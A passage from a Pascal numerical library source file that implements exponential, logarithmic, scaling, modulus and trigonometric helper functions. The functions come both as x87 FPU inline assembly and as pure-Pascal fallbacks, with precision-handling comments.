{ function accurate to full extended precision, we need to simulate higher}
{ precision intermediate arithmetic." }
{ Ref: [Virtual Pascal 0000056]: More accurate Exp() function. URL (Oct.2009):}
{ https://admin.topica.com/lists/virtualpascal@topica.com/read/message.html?sort=a&mid=908867704&start=7}
fld [x] { x }
fldl2e { log2(e) | x }
fmul st,st(1) { z = x * log2(e) x }
frndint { int(z) | x }
fld qword ptr [ln2_hi] { ln2_hi | int(z) | x }
fmul st,st(1) { int(z)*ln2_hi | int(z) | x }
fsubp st(2),st { int(z) | x-int(z)*ln2_hi }
fld qword ptr [ln2_lo] { ln2_lo | int(z) | x-int(z)*ln2_hi }
fmul st, st(1) { int(z)*ln2_lo | int(z) | x-int(z)*ln2_hi }
fsubp st(2),st { int(z) | (x-int(z)*ln2_hi)-int(z)*ln2_lo }
fxch st(1) { (x-int(z)*ln2_hi)-int(z)*ln2_lo | int(z) }
fldl2e { log2(e) | (x-int(z)*ln2_hi)-int(z)*ln2_lo | int(z)}
fmulp st(1),st { frac(z) | int(z) }
{$ifndef use_fast_exp}
{It may happen (especially for rounding modes other than "round to nearest") }
{that |frac(z)| > 1. In this case the result of f2xm1 is undefined. The next }
{lines will test frac(z) and use a safe algorithm if necessary. }
{Another problem pops up if x is very large e.g. for x=1e3000. AMath checks }
{int(z) and returns 2^int(z) if int(z) > 1.5*16384, result is 0 or overflow! }
fld st
fabs { abs(frac(z)) | frac(z) | int(z) }
fld1 { 1 | abs(frac(z)) | frac(z) | int(z) }
fcompp
fstsw ax
sahf
jae @@1 { frac(z) <= 1, no special action needed }
fld st(1) { int(z) | frac(z) | int(z) }
fabs { abs(int(z)) | frac(z) | int(z) }
fcomp [ebig]
fstsw ax
sahf
jb @@0
fsub st,st { set frac=0 and scale with too large int(z)}
jmp @@1
@@0:
{Safely calculate 2^frac(z)-1 as (2^(frac(z)/2)-1)*(2^(frac(z)/2)+1) and use }
{2^(frac(z)/2)+1 = (2^(frac(z)/2)-1) + 2 (suggested by N. Juffa, 16.Jan.2011) }
fmul dword ptr [half] { frac(z)/2 | int(z) }
f2xm1 { 2^(frac(z)/2)-1 | int(z) }
fld st { 2^(frac(z)/2)-1 | 2^(frac(z)/2)-1 | int(z) }
fadd dword ptr [two] { 2^(frac(z)/2)+1 | 2^(frac(z)/2)-1 | int(z) }
fmulp st(1),st { 2^frac(z)-1 | int(z) }
jmp @@2
{$endif}
@@1:
f2xm1 { 2^frac(z)-1 | int(z) }
@@2:
fld1 { 1 | 2^frac(z)-1 | int(z) }
faddp st(1),st { 2^frac(z) | int(z) }
fscale { 2^z | int(z) }
fstp st(1) { 2^z = e^x }
fwait
end;
{---------------------------------------------------------------------------}
function exp10(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return 10^x}
const
lg2_hi: THexDblA = ($00,$00,$80,$50,$13,$44,$D3,$3F);
lg2_lo: THexDblA = ($2B,$F1,$11,$F3,$FE,$79,$DF,$3D);
asm
fld [x] { x }
fldl2t { log2(10) | x }
fmul st,st(1) { z = x * log2(10) | x }
frndint { int(z) | x }
fld qword ptr [lg2_hi] { lg2_hi | int(z) | x }
fmul st,st(1) { int(z)*lg2_hi | int(z) | x }
fsubp st(2),st { int(z) | x-int(z)*lg2_hi }
fld qword ptr [lg2_lo] { lg2_lo | int(z) | x-int(z)*lg2_hi }
fmul st, st(1) { int(z)*lg2_lo | int(z) | x-int(z)*lg2_hi }
fsubp st(2),st { int(z) | (x-int(z)*lg2_hi)-int(z)*lg2_lo }
fxch st(1) { (x-int(z)*lg2_hi)-int(z)*lg2_lo | int(z) }
fldl2t { log2(10) | (x-int(z)*lg2_hi)-int(z)*lg2_lo | int(z)}
fmulp st(1),st { frac(z) | int(z) }
{$ifndef use_fast_exp}
{See the exp code for a description of these conditional lines}
fld st
fabs { abs(frac(z)) | frac(z) | int(z) }
fld1 { 1 | abs(frac(z)) | frac(z) | int(z) }
fcompp
fstsw ax
sahf
jae @@1 { frac(z) <= 1, no special action needed }
fld st(1) { int(z) | frac(z) | int(z) }
fabs { abs(int(z)) | frac(z) | int(z) }
fcomp [ebig]
fstsw ax
sahf
jb @@0
fsub st,st { set frac=0 and scale with too large int(z)}
jmp @@1
@@0:
fmul dword ptr [half] { frac(z)/2 | int(z) }
f2xm1 { 2^(frac(z)/2)-1 | int(z) }
fld st { 2^(frac(z)/2)-1 | 2^(frac(z)/2)-1 | int(z) }
fadd dword ptr [two] { 2^(frac(z)/2)+1 | 2^(frac(z)/2)-1 | int(z) }
fmulp st(1),st { 2^frac(z)-1 | int(z) }
jmp @@2
{$endif}
@@1:
f2xm1 { 2^frac(z)-1 | int(z) }
@@2:
fld1 { 1 | 2^frac(z)-1 | int(z) }
faddp st(1),st { 2^frac(z) | int(z) }
fscale { 2^z | int(z) }
fstp st(1) { 2^z = 10^x }
fwait
end;
{---------------------------------------------------------------------------}
function exp2(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return 2^x}
asm
fld [x] { x }
fld st(0) { x | x }
frndint { int(x) | x }
fxch st(1) { x | int(x) }
fsub st(0),st(1) { frac(x) | int(x) }
f2xm1 { 2^frac(x)-1 | int(x) }
fld1 { 1 | 2^frac(x)-1 | int(x)}
faddp st(1),st { 2^frac(x) | int(x) }
fscale { 2^z | int(x) }
fstp st(1)
fwait
end;
{---------------------------------------------------------------------------}
function exp3(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return 3^x}
const
l32_hi: THexDblA = ($00,$00,$30,$98,$93,$30,$E4,$3F);
l32_lo: THexDblA = ($58,$1F,$02,$A7,$F4,$D4,$C4,$3D);
log23h: THexExtW = ($43D0,$FDEB,$0D1C,$CAE0,$3FFF); {1.5849625007211561815}
asm
fld [x] { x }
fld tbyte ptr [log23h] { log2(3) | x }
fmul st,st(1) { z = x * log2(3) | x }
frndint { int(z) | x }
fld qword ptr [l32_hi] { l32_hi | int(z) | x }
fmul st,st(1) { int(z)*l32_hi | int(z) | x }
fsubp st(2),st { int(z) | x-int(z)*l32_hi }
fld qword ptr [l32_lo] { l32_lo | int(z) | x-int(z)*l32_hi }
fmul st, st(1) { int(z)*l32_lo | int(z) | x-int(z)*l32_hi }
fsubp st(2),st { int(z) | (x-int(z)*l32_hi)-int(z)*l32_lo }
fxch st(1) { (x-int(z)*l32_hi)-int(z)*l32_lo | int(z) }
fld tbyte ptr [log23h] { log2(3) | (x-int(z)*l32_hi)-int(z)*l32_lo | int(z) }
fmulp st(1),st { frac(z) | int(z) }
{$ifndef use_fast_exp}
{See the exp code for a description of these conditional lines}
fld st
fabs { abs(frac(z)) | frac(z) | int(z) }
fld1 { 1 | abs(frac(z)) | frac(z) | int(z) }
fcompp
fstsw ax
sahf
jae @@1 { frac(z) <= 1, no special action needed }
fld st(1) { int(z) | frac(z) | int(z) }
fabs { abs(int(z)) | frac(z) | int(z) }
fcomp [ebig]
fstsw ax
sahf
jb @@0
fsub st,st { set frac=0 and scale with too large int(z)}
jmp @@1
@@0:
fmul dword ptr [half] { frac(z)/2 | int(z) }
f2xm1 { 2^(frac(z)/2)-1 | int(z) }
fld st { 2^(frac(z)/2)-1 | 2^(frac(z)/2)-1 | int(z) }
fadd dword ptr [two] { 2^(frac(z)/2)+1 | 2^(frac(z)/2)-1 | int(z) }
fmulp st(1),st { 2^frac(z)-1 | int(z) }
jmp @@2
{$endif}
@@1:
f2xm1 { 2^frac(z)-1 | int(z) }
@@2:
fld1 { 1 | 2^frac(z)-1 | int(z) }
faddp st(1),st { 2^frac(z) | int(z) }
fscale { 2^z | int(z) }
fstp st(1) { 2^z = 3^x }
fwait
end;
{---------------------------------------------------------------------------}
function exp5(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return 5^x}
const
l52_hi: THexDblA = ($00,$00,$00,$69,$34,$90,$DB,$3F);
l52_lo: THexDblA = ($22,$D5,$33,$94,$CB,$3D,$B4,$3D);
log25h: THexExtW = ($8AFE,$CD1B,$784B,$949A,$4000); {2.3219280948873623478}
asm
fld [x] { x }
fld tbyte ptr [log25h] { log2(5) | x }
fmul st,st(1) { z = x * log2(5) | x }
frndint { int(z) | x }
fld qword ptr [l52_hi] { l52_hi | int(z) | x }
fmul st,st(1) { int(z)*l52_hi | int(z) | x }
fsubp st(2),st { int(z) | x-int(z)*l52_hi }
fld qword ptr [l52_lo] { l52_lo | int(z) | x-int(z)*l52_hi }
fmul st, st(1) { int(z)*l52_lo | int(z) | x-int(z)*l52_hi }
fsubp st(2),st { int(z) | (x-int(z)*l52_hi)-int(z)*l52_lo }
fxch st(1) { (x-int(z)*l52_hi)-int(z)*l52_lo | int(z) }
fld tbyte ptr [log25h] { log2(5) | (x-int(z)*l52_hi)-int(z)*l52_lo | int(z) }
fmulp st(1),st { frac(z) | int(z) }
{$ifndef use_fast_exp}
{See the exp code for a description of these conditional lines}
fld st
fabs { abs(frac(z)) | frac(z) | int(z) }
fld1 { 1 | abs(frac(z)) | frac(z) | int(z) }
fcompp
fstsw ax
sahf
jae @@1 { frac(z) <= 1, no special action needed }
fld st(1) { int(z) | frac(z) | int(z) }
fabs { abs(int(z)) | frac(z) | int(z) }
fcomp [ebig]
fstsw ax
sahf
jb @@0
fsub st,st { set frac=0 and scale with too large int(z)}
jmp @@1
@@0:
fmul dword ptr [half] { frac(z)/2 | int(z) }
f2xm1 { 2^(frac(z)/2)-1 | int(z) }
fld st { 2^(frac(z)/2)-1 | 2^(frac(z)/2)-1 | int(z) }
fadd dword ptr [two] { 2^(frac(z)/2)+1 | 2^(frac(z)/2)-1 | int(z) }
fmulp st(1),st { 2^frac(z)-1 | int(z) }
jmp @@2
{$endif}
@@1:
f2xm1 { 2^frac(z)-1 | int(z) }
@@2:
fld1 { 1 | 2^frac(z)-1 | int(z) }
faddp st(1),st { 2^frac(z) | int(z) }
fscale { 2^z | int(z) }
fstp st(1) { 2^z = 5^x }
fwait
end;
{---------------------------------------------------------------------------}
function exp7(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return 7^x}
const
l72_hi: THexDblA = ($00,$00,$00,$3A,$19,$CC,$D6,$3F);
l72_lo: THexDblA = ($C1,$DE,$44,$9C,$36,$D5,$09,$3E);
log27h: THexExtW = ($66CD,$A021,$B3FA,$B3AB,$4000); {2.8073549220576041075}
asm
fld [x] { x }
fld tbyte ptr [log27h] { log2(7) | x }
fmul st,st(1) { z = x * log2(7) | x }
frndint { int(z) | x }
fld qword ptr [l72_hi] { l72_hi | int(z) | x }
fmul st,st(1) { int(z)*l72_hi | int(z) | x }
fsubp st(2),st { int(z) | x-int(z)*l72_hi }
fld qword ptr [l72_lo] { l72_lo | int(z) | x-int(z)*l72_hi }
fmul st, st(1) { int(z)*l72_lo | int(z) | x-int(z)*l72_hi }
fsubp st(2),st { int(z) | (x-int(z)*l72_hi)-int(z)*l72_lo }
fxch st(1) { (x-int(z)*l72_hi)-int(z)*l72_lo | int(z) }
fld tbyte ptr [log27h] { log2(7) | (x-int(z)*l72_hi)-int(z)*l72_lo | int(z) }
fmulp st(1),st { frac(z) | int(z) }
{$ifndef use_fast_exp}
{See the exp code for a description of these conditional lines}
fld st
fabs { abs(frac(z)) | frac(z) | int(z) }
fld1 { 1 | abs(frac(z)) | frac(z) | int(z) }
fcompp
fstsw ax
sahf
jae @@1 { frac(z) <= 1, no special action needed }
fld st(1) { int(z) | frac(z) | int(z) }
fabs { abs(int(z)) | frac(z) | int(z) }
fcomp [ebig]
fstsw ax
sahf
jb @@0
fsub st,st { set frac=0 and scale with too large int(z)}
jmp @@1
@@0:
fmul dword ptr [half] { frac(z)/2 | int(z) }
f2xm1 { 2^(frac(z)/2)-1 | int(z) }
fld st { 2^(frac(z)/2)-1 | 2^(frac(z)/2)-1 | int(z) }
fadd dword ptr [two] { 2^(frac(z)/2)+1 | 2^(frac(z)/2)-1 | int(z) }
fmulp st(1),st { 2^frac(z)-1 | int(z) }
jmp @@2
{$endif}
@@1:
f2xm1 { 2^frac(z)-1 | int(z) }
@@2:
fld1 { 1 | 2^frac(z)-1 | int(z) }
faddp st(1),st { 2^frac(z) | int(z) }
fscale { 2^z | int(z) }
fstp st(1) { 2^z = 7^x }
fwait
end;
{---------------------------------------------------------------------------}
function fmod(x,y: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return x mod y, y<>0, sign(result) = sign(x)}
asm
fld [y]
fld [x]
@@1: fprem
fstsw ax
sahf
jp @@1
fstp st(1)
fwait
end;
{---------------------------------------------------------------------------}
function ln(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return natural logarithm of x}
asm
fldln2
fld [x]
fyl2x
fwait
end;
{---------------------------------------------------------------------------}
function log10(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return base 10 logarithm of x}
asm
fldlg2
fld [x]
fyl2x
fwait
end;
{---------------------------------------------------------------------------}
function log2(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return base 2 logarithm of x}
asm
fld1
fld [x]
fyl2x
fwait
end;
{---------------------------------------------------------------------------}
function logbase(b, x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return base b logarithm of x}
asm
fld1
fld [x]
fyl2x
fld1
fld [b]
fyl2x
fdivp st(1),st
fwait
end;
{---------------------------------------------------------------------------}
function logN(N, x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Delphi alias for logbase}
asm
fld1
fld [x]
fyl2x
fld1
fld [N]
fyl2x
fdivp st(1),st
fwait
end;
{---------------------------------------------------------------------------}
function arctan2(y, x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return arctan(y/x); result in [-Pi..Pi] with correct quadrant}
asm
fld [y]
fld [x]
fpatan
fwait
end;
{$ifdef BASM16}
{---------------------------------------------------------------------------}
function intpower(x: extended; n: longint): extended; assembler;
{-Return x^n; via binary exponentiation (no overflow detection)}
asm
db $66; mov ax,word ptr [n]
fld1 {r := 1 }
db $66; cwd {cdq!, edx=-1 if n<0, 0 otherwise}
db $66; xor ax,dx
db $66; sub ax,dx {eax == i := abs(n)}
jz @@3 {if n=0 done}
fld [x]
jmp @@2
@@1: fmul st,st {x := x*x}
@@2: db $66; shr ax,1 {i := i shr 1}
jnc @@1 {i had not been odd, repeat squaring}
fmul st(1),st {r := r*x}
jnz @@1 {if i=0 exit loop}
fstp st {pop x}
or dx,dx {n<0 iff dx<>0}
jz @@3
fld1
fdivr {intpower := 1/r}
@@3: fwait
end;
{---------------------------------------------------------------------------}
function ldexp(x: extended; e: longint): extended; assembler;
{-Return x*2^e}
asm
fild [e]
fld [x]
fscale
fstp st(1)
end;
{---------------------------------------------------------------------------}
function ldexpd(d: double; e: longint): double; assembler;
{-Return d*2^e}
asm
fild [e]
fld [d]
fscale
fstp st(1)
end;
{---------------------------------------------------------------------------}
function ldexps(s: single; e: longint): single; assembler;
{-Return s*2^e}
asm
fild [e]
fld [s]
fscale
fstp st(1)
end;
{---------------------------------------------------------------------------}
function scalbn(x: extended; e: longint): extended; assembler;
{-Return x*2^e}
asm
fild [e]
fld [x]
fscale
fstp st(1)
end;
{$else}
{---------------------------------------------------------------------------}
function intpower(x: extended; n: longint): extended; assembler; {&Frame-} {&Uses none}
{-Return x^n; via binary exponentiation (no overflow detection)}
asm
mov eax,n {Note: this may be a mov eax,eax in Delphi/FPC}
{but it is needed in VirtualPascal}
fld1 {r := 1 }
cdq {edx=-1 if n<0, 0 otherwise}
xor eax,edx
sub eax,edx {eax == i := abs(n)}
jz @@3 {if n=0 done}
fld [x]
jmp @@2
@@1: fmul st,st {x := x*x }
@@2: shr eax,1 {i := i shr 1}
jnc @@1 {i had not been odd, repeat squaring}
fmul st(1),st {r := r*x }
jnz @@1 {if i=0 exit loop}
fstp st {pop x}
or edx,edx {n<0 iff dx<>0}
jz @@3
fld1
fdivrp st(1),st {intpower := 1/r; FPC does not like fdivr}
@@3: fwait
end;
{$ifdef NO_FPU_RESULT}
{---------------------------------------------------------------------------}
function ldexp(x: extended; e: longint): extended;
{-Return x*2^e}
begin
asm
fild [e]
fld [x]
fscale
fstp st(1)
fstp [x]
fwait
end;
ldexp := x;
end;
{---------------------------------------------------------------------------}
function ldexpd(d: double; e: longint): double;
{-Return d*2^e}
begin
asm
fild [e]
fld [d]
fscale
fstp st(1)
fstp [d]
fwait
end;
ldexpd := d;
end;
{---------------------------------------------------------------------------}
function ldexps(s: single; e: longint): single;
{-Return s*2^e}
begin
asm
fild [e]
fld [s]
fscale
fstp st(1)
fstp [s]
fwait
end;
ldexps := s;
end;
{---------------------------------------------------------------------------}
function scalbn(x: extended; e: longint): extended;
{-Return x*2^e}
begin
asm
fild [e]
fld [x]
fscale
fstp st(1)
fstp [x]
fwait
end;
scalbn := x;
end;
{$else}
{---------------------------------------------------------------------------}
function ldexp(x: extended; e: longint): extended;
{-Return x*2^e}
begin
asm
fild [e]
fld [x]
fscale
fstp st(1)
fstp [@result]
fwait
end;
end;
{---------------------------------------------------------------------------}
function ldexpd(d: double; e: longint): double;
{-Return d*2^e}
begin
asm
fild [e]
fld [d]
fscale
fstp st(1)
fstp [@result]
fwait
end;
end;
{---------------------------------------------------------------------------}
function ldexps(s: single; e: longint): single;
{-Return s*2^e}
begin
asm
fild [e]
fld [s]
fscale
fstp st(1)
fstp [@result]
fwait
end;
end;
{---------------------------------------------------------------------------}
function scalbn(x: extended; e: longint): extended;
{-Return x*2^e}
begin
asm
fild [e]
fld [x]
fscale
fstp st(1)
fstp [@result]
fwait
end;
end;
{$endif}
{$endif}
{---------------------------------------------------------------------------}
function _tan(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the circular tangent of x, x mod Pi <> Pi/2}
asm
{tan := sin(x)/cos(x)}
fld [x]
fptan
fstp st(0)
fwait
end;
{---------------------------------------------------------------------------}
function _cot(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the circular cotangent of x, x mod Pi <> 0}
asm
{cot := cos(x)/sin(x) = 1/tan(x)}
fld [x]
fptan
fdivrp st(1),st
fwait
end;
{$ifdef BIT16}
{---------------------------------------------------------------------------}
procedure _sincos(x: extended; var s,c: extended); assembler;
asm
fld [x]
db $D9,$FB {fsincos}
les di,[c]
fstp es:tbyte ptr[di]
les di,[s]
fstp es:tbyte ptr[di]
fwait
end;
{$else}
{---------------------------------------------------------------------------}
procedure _sincos(x: extended; var s,c: extended); assembler; {&Frame-} {&Uses none}
asm
fld [x]
fsincos
fxch
mov eax, s
fstp tbyte ptr [eax]
mov eax, c
fstp tbyte ptr [eax]
fwait
end;
{$endif}
{$else}
{Non-basm routines for versions < TP6}
{---------------------------------------------------------------------------}
function exp(x: extended): extended;
{-slow but accurate exp, result good to extended precision}
const
xmin = -11398.80538430831; { < -11398.8053843083006133663822374 = ln(succx(0))}
var
z,t: extended;
k: longint;
ln2hi: double absolute ln2_hi;
ln2lo: double absolute ln2_lo;
zwa: array[0..4] of word absolute z;
begin
if x > ln_MaxExt then exp := system.exp(x)
else if x < xmin then exp := 0.0
else if x < ln_MinExt then begin
{-11398.80538430831 <= x < ln_MinExt: denormal try exp(x/2)^2}
t := exp(0.5*x);
exp := t*t;
end
else begin
{rewrite exp(x) = exp(x - k*ln2 + k*ln2) = exp(k*ln2)*exp(x - k*ln2)}
{ = 2^k*exp(x - k*ln2) with small x-k*ln2, ie k ~= x/ln2 = x*log2(e)}
k := trunc(log2e*x);
t := k;
z := x - t*ln2hi;
t := t*ln2lo;
x := z - t;
{z = exp(x - k*ln2}
z := system.exp(x);
{multiply with 2^k, handle over/underflow}
{z should be >=0, ie the sign bit should be clear, but..}
k := k + (zwa[4] and $7FFF);
if k<0 then begin
{underflow}
exp := 0.0;
end
else begin
if k>=32767 then begin
{generate floating point overflow}
RunError(205);
end
else begin
{store exponent of 2^k*exp(x - k*ln2)}
zwa[4] := k;
end;
exp := z;
end;
end;
end;
{---------------------------------------------------------------------------}
function exp2(x: extended): extended;
{-Return 2^x}
const
PHex: array[0..2] of THexExtW = (
($7ec0,$d041,$02e7,$fdf4,$4013),
($3426,$2dc5,$f19f,$ec9d,$400d),
($ffd8,$6ad6,$9c2b,$f275,$4004));
const
QHex: array[0..3] of THexExtW = (
($b37e,$cfba,$40d0,$b730,$4015),
($e38d,$6d74,$a4f0,$a005,$4011),
($575b,$9b93,$34d6,$daa9,$4009),
($0000,$0000,$0000,$8000,$3fff));
var
P: array[0..2] of extended absolute PHex;
Q: array[0..3] of extended absolute QHex;
var
px,xx: extended;
n: integer;
begin
{Pascal translation of Cephes [7] routine ldouble/exp2l.c}
if x>=16384.0 then exp2 := PosInf_x
else if x<-16446.0 then exp2 := 0.0
else begin
{separate into integer and fractional parts}
n := round(x);
x := x - n;
{rational approximation, exp2(x) = 1.0 + 2xP(x^2)/(Q(x^2) - xP(x^2))}
xx := x*x;
px := x*PolEvalX(xx,P,3);
x := px/(PolEvalX(xx,Q,4) - px);
{scale by power of 2}
exp2 := ldexp(1+2.0*x,n);
end;
end;
{---------------------------------------------------------------------------}
function exp3(x: extended): extended;
{-Return 3^x}
begin
exp3 := power(3.0,x);
end;
{---------------------------------------------------------------------------}
function exp5(x: extended): extended;
{-Return 5^x}
begin
exp5 := power(5.0,x);
end;
{---------------------------------------------------------------------------}
function exp7(x: extended): extended;
{-Return 7^x}
begin
exp7 := power(7.0,x);
end;
{---------------------------------------------------------------------------}
function exp10(x: extended): extended;
{-Return 10^x}
const
MAXL10 = 4932.0754489586679023819;
MINL10 = -4950.438278694171; {< -4950.43827869417075528993612374}
const
ph: array[0..3] of THexExtW = (
($503d,$9352,$e7aa,$b99b,$4012), {p0: 7.6025447914440301593592E5}
($18da,$afa1,$c89e,$832e,$4010), {p1: 1.3433113468542797218610E5}
($b526,$df32,$a063,$8e8e,$400b), {p2: 4.5618283154904699073999E3}
($399a,$7dc7,$bc43,$faba,$4003)); {p3: 3.1341179396892496811523E1}
qh: array[0..4] of THexExtW = (
($6d3c,$80c5,$ca67,$a137,$4012), {q0: 6.6034865026929015925608E5}
($85be,$2560,$9f58,$c76e,$4011), {q1: 4.0843697951001026189583E5}
($18cf,$7749,$368d,$e849,$400d), {q2: 2.9732606548049614870598E4}
($947d,$7855,$f6ac,$ee86,$4007), {q3: 4.7705440288425157637739E2}
($0000,$0000,$0000,$8000,$3fff)); {q4: 1.0000000000000000000000E0}
L210 : THexExtW = ($8afe,$cd1b,$784b,$d49a,$4000); {3.3219280948873623478703}
L102A: THexExtW = ($0000,$0000,$0000,$9a20,$3ffd); {3.01025390625e-1}
L102B: THexExtW = ($8f89,$f798,$fbcf,$9a84,$3fed); {4.6050389811952137388947e-6}
var
p: array[0..3] of extended absolute ph;
q: array[0..4] of extended absolute qh;
px, xx: extended;
n: longint;
begin
{This is my Pascal translation of the Cephes [7] routine ldouble/exp10l.c}
if x > MaxL10 then begin
exp10 := PosInf_x;
exit;
end
else if x < MinL10 then begin
exp10 := 0.0;
exit;
end;
{Express 10^x = 10^g * 2^n = 10^g * 10^(n*log10(2)) = 10^(g+n*log10(2))}
px := floorx(extended(L210)*x + 0.5);
n := round(px);
x := x - px * extended(L102A);
x := x - px * extended(L102B);
{rational approximation for exponential of the fractional part:}
{10**x = 1 + 2x P(x**2)/( Q(x**2) - P(x**2) ) }
xx := x*x;
px := x*PolEvalX(xx,p,4);
x := 1.0 + 2.0*px/(PolEvalX(xx,q,5) - px);
{multiply by power of 2}
exp10 := ldexp(x,n);
end;
{---------------------------------------------------------------------------}
function ln(x: extended): extended;
{-Return natural logarithm of x, x may be denormal}
begin
if THexExtW(x)[4] and $7FFF = 0 then begin
{ln(x) = ln(2^(-64)*2^64*x) = ln(2^64*x) - 64*ln2;}
x := system.ln(ldexp(x,64)) - 44;
ln := x - 0.3614195558364998027028557733;
end
else ln := system.ln(x);
end;
{---------------------------------------------------------------------------}
function log10(x: extended): extended;
{-Return base 2 logarithm of x}
begin
log10 := ln(x)*log10e;
end;
{---------------------------------------------------------------------------}
function log2(x: extended): extended;
{-Return base 2 logarithm of x}
begin
log2 := ln(x)*log2e;
end;
{---------------------------------------------------------------------------}
function logbase(b, x: extended): extended;
{-Return base b logarithm of x}
begin
logbase := ln(x)/ln(b);
end;
{---------------------------------------------------------------------------}
function logN(N, x: extended): extended;
{-Delphi alias for logbase}
begin
logN := ln(x)/ln(N);
end;
{---------------------------------------------------------------------------}
function arctan2(y, x: extended): extended;
{-Return arctan(y/x); result in [-Pi..Pi] with correct quadrant}
var
z: extended;
ed: longint;
begin
if x=0.0 then begin
if y=0.0 then arctan2 := 0.0
else if y>0.0 then arctan2 := Pi_2
else arctan2 := -Pi_2;
end
else begin
{Get difference of the exponents of x and y, (note: bias is cancelled)}
ed := longint(THexExtW(y)[4] and $7FFF) - longint(THexExtW(x)[4] and $7FFF);
{Safe to call arctan if abs(exp diff) <= 60}
if ed>60 then z := Pi_2
else if (x<0.0) and (ed<-60) then z := 0.0
else z := arctan(abs(y/x));
if x>0 then begin
if y<0.0 then arctan2 := -z else arctan2 := z;
end
else begin
if y<0.0 then arctan2 := z-Pi else arctan2 := Pi-z;
end;
end;
end;
{---------------------------------------------------------------------------}
function intpower(x: extended; n: longint): extended;
{-Return x^n; via binary exponentiation (no overflow detection)}
var
i: longint;
r: extended;
begin
i := abs(n);
r := 1.0;
while i > 0 do begin
while integer(i) and 1 = 0 do begin
i := i shr 1;
x := x*x
end;
dec(i);
r := r*x;
end;
if n>=0 then intpower := r
else intpower := 1.0/r;
end;
{---------------------------------------------------------------------------}
function ldexp(x: extended; e: longint): extended;
{-Return x*2^e}
var
i: integer;
const
H2_64: THexExtW = ($0000,$0000,$0000,$8000,$403f); {2^64}
begin
{if +-INF, NaN, 0 or if e=0 return x}
i := THexExtW(x)[4] and $7FFF;
if (i=$7FFF) or (e=0) or (x=0.0) then ldexp := x
else if i=0 then begin
{Denormal: result = x*2^64*2^(e-64)}
ldexp := ldexp(x*extended(H2_64), e-64);
end
else begin
e := e+i;
if e>$7FFE then begin
{overflow}
if x>0.0 then ldexp := PosInf_x
else ldexp := NegInf_x;
end
else if e<1 then begin
{underflow or denormal}
if e<-63 then ldexp := 0.0
else begin
{Denormal: result = x*2^(e+64)/2^64}
inc(e,64);
THexExtW(x)[4] := (THexExtW(x)[4] and $8000) or (e and $7FFF);
ldexp := x/extended(H2_64);
end;
end
else begin
THexExtW(x)[4] := (THexExtW(x)[4] and $8000) or (e and $7FFF);
ldexp := x;
end;
end;
end;
{---------------------------------------------------------------------------}
function ldexpd(d: double; e: longint): double;
{-Return d*2^e}
var
i: integer;
const
H2_54: THexDblW = ($0000,$0000,$0000,$4350); {2^54}
begin
{if +-INF, NaN, 0 or if e=0 return d}
i := (THexDblW(d)[3] and $7FF0) shr 4;
if (i=$7FF) or (e=0) or (d=0.0) then ldexpd := d
else if i=0 then begin
{Denormal: result = d*2^54*2^(e-54)}
ldexpd := ldexpd(d*double(H2_54), e-54);
end
else begin
e := e+i;
if e>$7FE then begin
{overflow}
if d>0.0 then ldexpd := PosInf_d
else ldexpd := NegInf_d;
end
else if e<1 then begin
{underflow or denormal}
if e<-53 then ldexpd := 0.0
else begin
{Denormal: result = d*2^(e+54)/2^54}
inc(e,54);
THexDblW(d)[3] := (THexDblW(d)[3] and $800F) or (e shl 4 and $7FF0);
ldexpd := d/double(H2_54);
end;
end
else begin
THexDblW(d)[3] := (THexDblW(d)[3] and $800F) or (e shl 4 and $7FF0);
ldexpd := d;
end;
end;
end;
{---------------------------------------------------------------------------}
function ldexps(s: single; e: longint): single;
{-Return s*2^e}
var
L: longint absolute s;
x: extended;
begin
if (L and $7F800000 = $7F800000) or (s=0.0) then ldexps := s
else begin
x := ldexp(s,e);
if x>MaxSingle then ldexps := PosInf_s
else if x<-MaxSingle then ldexps := NegInf_s
else ldexps := x;
end;
end;
{---------------------------------------------------------------------------}
function scalbn(x: extended; e: longint): extended;
{-Return x*2^e}
begin
scalbn := ldexp(x,e);
end;
{---------------------------------------------------------------------------}
function _tan(x: extended): extended;
{-Return the circular tangent of x, x mod Pi <> Pi/2}
begin
_tan := sin(x)/cos(x);
end;
{---------------------------------------------------------------------------}
function _cot(x: extended): extended;
{-Return the circular cotangent of x, x mod Pi <> 0}
begin
_cot := cos(x)/sin(x);
end;
{---------------------------------------------------------------------------}
procedure _sincos(x: extended; var s,c: extended);
{-Return the s=sin(x), c=cos(x)}
begin
s := sin(x);
c := cos(x);
end;
{---------------------------------------------------------------------------}
function fmod(x,y: extended): extended;
{-Return x mod y, y<>0, sign(result) = sign(x)}
var
tx,ty,mx,my: extended;
ex,ey: longint;
begin
{Based on mod.go from the math package of the Go programming }
{language, available from https://code.google.com/p/go/source/.}
{The Go source files are distributed under a BSD-style license.}
if IsNaNorInf(x) or IsNaNorInf(y) then fmod := NaN_x
else if x=0.0 then fmod := 0.0
else if y=0.0 then fmod := x/y
else begin
tx := abs(x);
ty := abs(y);
frexp(ty,my,ey);
{Warning: loop count depends on ilogb(x) & ilogb(y), the worst case}
{is about 16000 loops, e.g. 16414 for x=MaxExtended, y=18*succx(0)!}
while ty <= tx do begin
frexp(tx,mx,ex);
if mx<my then dec(ex);
tx := tx - ldexp(ty, ex-ey);
end;
if x>=0.0 then fmod := tx
else fmod := -tx;
end;
end;
{$endif}
{---------------------------------------------------------------------------}
function expm1(x: extended): extended;
{-Return exmp1(x)-1, accurate even for x near 0}
const
nce=17;
ceh: array[0..nce-1] of THexExtW = ( {chebyshev(((exp(x)-1)/x - 1)/x, x=-1..1, 0.1e-20);}
($6A89,$722B,$FAC5,$8577,$3FFF), {+1.04272398606220957726049179176 }
($D006,$0AFA,$F911,$B131,$3FFC), {+0.173042194047179631675883846985 }
($D2C9,$D68A,$A866,$B073,$3FF9), {+0.215395249458237651324867090935e-1 }
